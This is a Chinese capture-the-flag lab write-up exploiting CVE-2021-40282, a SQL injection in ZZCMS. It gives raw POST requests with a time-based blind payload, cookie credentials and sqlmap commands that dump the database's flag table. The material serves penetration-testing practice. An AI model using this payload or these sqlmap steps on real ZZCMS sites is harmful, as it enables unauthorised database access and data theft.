春秋云镜 CVE-2021-40282

春秋云镜 CVE-2021-40282 zzcms注入

靶标介绍

站长招商网内容管理系统简称 ZZCMS，由ZZCMS团队开发，融入数据库优化，内容缓存，AJAX等技术，使网站的安全性 、稳定性 、负载能力得到可靠保障。源码开放，功能模块独立，便于二次开发；ZZCMS 8.2、8.3、2020、abd 2021 中存在安全漏洞，该漏洞源于在 dl/dl_download.php 中注册普通用户时存在SQL注入。

启动场景

漏洞利用

EXP

https://gist.github.com/aaaahuia/1343e3aa06b031ea621b5701cebcee3e

POST /dl/dl_download.php HTTP/1.1
Host: your host
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://zzcms.com
Connection: close
Referer: http://zzcms.com/dl/dl_download.php
Cookie: UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
Upgrade-Insecure-Requests: 1

id[0]=0&id[1]=1 AND (SELECT 5584 FROM (SELECT(SLEEP(9)))a)

admin/admin登录后台，查看“用户”–“用户管理” 账号密码为2222/2222

密码进行MD5加密934B535800B1CBA8F96A5D72F72F1611；替换exp

POST /dl/dl_download.php HTTP/1.1
Host: eci-2ze12qjdxsi5kk8bfet5.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: http://eci-2ze12qjdxsi5kk8bfet5.cloudeci1.ichunqiu.com/dl/dl_download.php
Cookie: UserName=2222; PassWord=934B535800B1CBA8F96A5D72F72F1611
Upgrade-Insecure-Requests: 1    
Content-Length: 58

id[0]=0&id[1]=1 AND (SELECT 5584 FROM (SELECT(SLEEP(9)))a)

sqlmap验证

python3 sqlmap.py -u "http://eci-2ze12qjdxsi5kk8bfet5.cloudeci1.ichunqiu.com/dl/dl_download.php" --cookie="UserName=2222; PassWord=934B535800B1CBA8F96A5D72F72F1611" --method POST --data "id[0]=0&id[1]=1" -p id[1] --tamper="between.py" --dbs --batch

获取数据库zzcms中的数据表

python3 sqlmap.py -u "http://eci-2ze12qjdxsi5kk8bfet5.cloudeci1.ichunqiu.com/dl/dl_download.php" --cookie="UserName=2222; PassWord=934B535800B1CBA8F96A5D72F72F1611" --method POST --data "id[0]=0&id[1]=1" -p id[1] --tamper="between.py" -D "zzcms" --tables

获取flag字段

python3 sqlmap.py -u "http://eci-2ze12qjdxsi5kk8bfet5.cloudeci1.ichunqiu.com/dl/dl_download.php" --cookie="UserName=2222; PassWord=934B535800B1CBA8F96A5D72F72F1611" --method POST --data "id[0]=0&id[1]=1" -p id[1] --tamper="between.py" -D "zzcms" -T "flag" --dump

得到flag

flag{97a19025-e1f2-4a95-8169-cd1cfd605e79}